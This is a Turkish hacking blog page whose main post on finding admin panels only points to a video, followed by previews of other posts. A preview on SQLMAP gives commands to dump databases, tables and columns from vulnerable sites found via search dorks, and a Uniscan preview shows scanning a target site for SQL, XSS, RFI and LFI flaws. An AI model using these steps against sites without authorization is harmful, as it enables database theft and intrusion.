#6 l Admin Panel Bulma (Tarayıcılar ve İntelli Tamper )

Merhaba arkadaşlar 

Bu konunun direk videosunu çektim ;

video ;


Yorumlar

Yorum Gönder

Bu blogdaki popüler yayınlar

Hakkımda l Makale Yayınına Başlıyoruz !

Resim
Merhaba Okuyucularım !  Ben AquieLL, çok uzun zamandır bilgisayar ile ilgileniyorum,yaklaşık 4-5 senedir web hacking,yazılım,bilgi güvenliği gibi konuları takip ediyorum.Bu Blogger'da sizlere bildiğim konularda yardımcı olmak için makaleler yazacağım.Gerek hacking,gerek önemli teknolojiler hakkında birçok makale yazmaya çalışacağım. Hepinize iyi okumalar dilerim :) 
Devamı

#4 l SQLMAP Kurulumu ve Kullanımı

Resim
Merhaba arkadaşlar bu yazının konusu ; -Dork yazdık,açıklı site bulduk ve şimdi veritabanını hacklemek için havij yerine sqlmap ile veritabanına ulaşıyoruz. 1.1-)Python ve SQLMAP Kurulumu Gerekli Malzemeler ;  -Python 2.7.8 -sqlmap dosyası ("http://sqlmap.org/") Kurulumu ; -Python 2.7.8 bilgisayara indirip setup ile kuruyoruz -Daha sonra "sqlmap" adlı dosyayı " Bilgisayım >> Yerel Disk C:// " dizinine atalım. 1.2-)Hack Aşaması  1-)cmd açalım çalıştır >> cmd 2-)C://sqlmap klasörüne inelim tek tek yazıyoruz.  cd..  cd.. cd sqlmap   3-)Sitenin veritabanını çekelim. sqlmap.py -u sqlaçıklıurl --dbs Not: Bu işlemden sonra [Y/n] Sorusu gelecek hepsine "Y" Diyoruz. 4-)Sitenin Tablolarını çekelim sqlmap.py -u sqlaçıklıurl veritabanıadı --tables  5-)Sitenin Kolonlarını çekelim.Hangi kolonu istiyorsanız onu çekin. sqlmap.py -u sqlaçıklıurl -D veritabanıadı -T tabloadı --columns 6-)Çekitğimiz kolonda iş...
Devamı

Linux l Uniscan Kullanımı

Resim
     Merhaba okuyucularım :)  Bugün sizlere, linux'da "Uniscan" kullanımı anlatacağım.  Uniscan Nedir ?   +Uniscan hedef site SQL,XSS,RFI,LFI Gibi güvenlik açıklarını,dizinleri dosyaları tarayan bir araçtır. Uniscan Parametreleri : -w : Dosyaları tarar. -q : Admin panellerini tarar. -e : Robots.txt,ve sitemap.xml dosyasını tarar. -d : Dizinleri tarar.Sistem'de taranacak olan açıklar 1 (XSS,Rfi, Backup Files) -s : Sistem'de taranacak olan açıklar 2 (SQL,Lfı...)  -r : Site php bilgilerini tarar.  -g : Web&Server bilgilerini tarar. -j : Server bilgilerini tarar. Kullanımı :   1-)Terminali açalım. 2-) uniscan -u http://www.hedefsite.com -dsr  Evet kullanım bu kadar. "-dsr" dediğimizde açıkları ve php bilgilerini almış olduk.Farklı parametleri kullanabilirsiniz. Not : Tarama bittiğinde "Uniscan dizini altındaki > Report " kısmından tarama kayıtlarını bulabilirsiniz. AquieLL 
Devamı